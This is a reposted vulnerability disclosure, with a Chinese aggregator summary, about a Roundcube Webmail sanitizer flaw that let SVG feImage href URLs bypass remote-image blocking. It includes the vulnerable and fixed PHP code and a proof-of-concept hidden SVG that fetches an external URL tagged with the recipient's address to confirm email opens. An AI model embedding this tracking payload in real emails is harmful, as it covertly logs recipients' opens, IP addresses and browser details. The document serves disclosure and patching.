Roundcube Webmail:SVG feImage绕过图像阻止以追踪邮件打开
Roundcube Webmail: SVG feImage bypasses image blocking to track email opens

原始链接: https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/

## Roundcube 远程图片跟踪漏洞 Roundcube Webmail(< 1.5.13 和 < 1.6.13)存在安全漏洞,允许攻击者绕过“阻止远程图片”设置并跟踪邮件打开情况。该问题源于 Roundcube 的 HTML 净化器 (`rcube_washtml`) 处理 SVG `` 标签的方式。 净化器正确地阻止了 ``、`` 和 `` 标签中的外部资源,方法是将它们的 `href` 或 `src` 属性路由到一个阻止函数,但 `` 的 `href` 属性被错误地处理为标准链接,允许 HTTP/HTTPS URL 通过。 这使得攻击者能够在邮件中嵌入隐藏的 SVG 图片。当邮件被打开时,浏览器会尝试加载该图片,从而触发对攻击者服务器的请求,泄露用户的 IP 地址以及潜在的其他浏览器信息。 Roundcube 1.5.13 和 1.6.13 版本已通过更新净化器来正确识别和阻止 `` 标签内的远程资源来修复此漏洞。建议用户更新到这些版本以降低风险。

Roundcube Webmail存在一个安全漏洞,即使启用了图像阻止,仍允许邮件开启追踪。研究人员(nullcathedral)发现利用`feImage`元素可以绕过阻止,使追踪器能够undetected地运行。 Hacker News上的讨论强调了对抗邮件追踪的持续斗争。一位用户提出了一种解决方案:主流邮件客户端可以*始终*为非垃圾邮件预取图像,从而有效地使邮件开启追踪标记失效。 其他评论员赞扬Roundcube的简洁性和速度,同时也质疑这个问题是否仅限于Roundcube,或者是一个更广泛的问题,可能影响其他网络邮件客户端。该漏洞凸显了在维护隐私方面面临的挑战,因为追踪方法日益复杂。
相关文章

原文

Roundcube's HTML sanitizer doesn't treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens.

TL;DR: Roundcube’s rcube_washtml sanitizer blocked external resources on <img>, <image>, and <use>, but not on <feImage>. Its href went through the wrong code path and got allowed through. Attackers could track email opens even when “Block remote images” was on. Fixed in 1.5.13 and 1.6.13.

Vulnerability information

FieldValue
VendorRoundcube
ProductRoundcube Webmail
Affected versions< 1.5.13, 1.6.x < 1.6.13
Fixed in1.5.13, 1.6.13
Disclosure date2026-02-08

Background

When allow_remote is false, Roundcube’s sanitizer intercepts image-bearing attributes (src on <img>, href on <image> and <use>) and runs them through is_image_attribute(). That function blocks external URLs.

Separately, non-image URLs (like <a href>) go through wash_link(), which lets HTTP/HTTPS URLs through. That’s fine for links the user clicks on intentionally.

Discovery

I got bored during my christmas vacation and this SVG-based XSS fix via the animate tag appeared on my radar. One SVG bug usually means more. So I spent a few hours going through rcube_washtml.php, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.

<feImage> stood out. Its href gets fetched on render, same as <img src>. But the sanitizer sends it through wash_link() instead of is_image_attribute().

So the “Block remote images” setting doesn’t apply to it.

Technical details

In wash_attribs(), every attribute hits a chain of checks. The first one that matches wins:

rcube_washtml.php

if ($this->is_image_attribute($node->nodeName, $key)) {
    $out = $this->wash_uri($value, true);  // blocks remote URLs
} elseif ($this->is_link_attribute($node->nodeName, $key)) {
    $out = $this->wash_link($value);        // allows http/https
}

Before the fix, is_image_attribute() looked like this:

rcube_washtml.php

private function is_image_attribute($tag, $attr)
{
    return $attr == 'background'
        || $attr == 'color-profile'
        || ($attr == 'poster' && $tag == 'video')
        || ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
        || ($tag == 'use' && $attr == 'href')
        || ($tag == 'image' && $attr == 'href');
}

The href attribute is only matched for use and image. No feimage.

And is_link_attribute() is a catch-all:

rcube_washtml.php

private function is_link_attribute($tag, $attr)
{
    return $attr === 'href';
}

So when the sanitizer encounters <feImage href="https://...">: is_image_attribute('feimage', 'href') returns false, is_link_attribute('feimage', 'href') returns true, and the URL goes through wash_link() which passes HTTP/HTTPS URLs straight through.

Proof of concept

An invisible 1x1 SVG, positioned off-screen:

<svg width="1" height="1" style="position:absolute;left:-9999px;">
  <defs>
    <filter id="t">
      <feImage href="https://httpbin.org/image/[email protected]"
               width="1" height="1"/>
    </filter>
  </defs>
  <rect filter="url(#t)" width="1" height="1"/>
</svg>

The browser evaluates the SVG filter and fires a GET to the attacker’s URL.

Impact

The “Block remote images” setting doesn’t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.

The fix (26d7677) collapses the two separate use/image checks into a single regex that includes feimage:

rcube_washtml.php

|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG

Now <feImage href> hits is_image_attribute() first, gets routed through wash_uri(), and the remote URL is blocked.

Update to 1.5.13 or 1.6.13.

Timeline

DateEvent
2026-01-04Reported to Roundcube
2026-02-081.5.13 and 1.6.13 released
2026-02-08This post
联系我们 contact @ memedata.com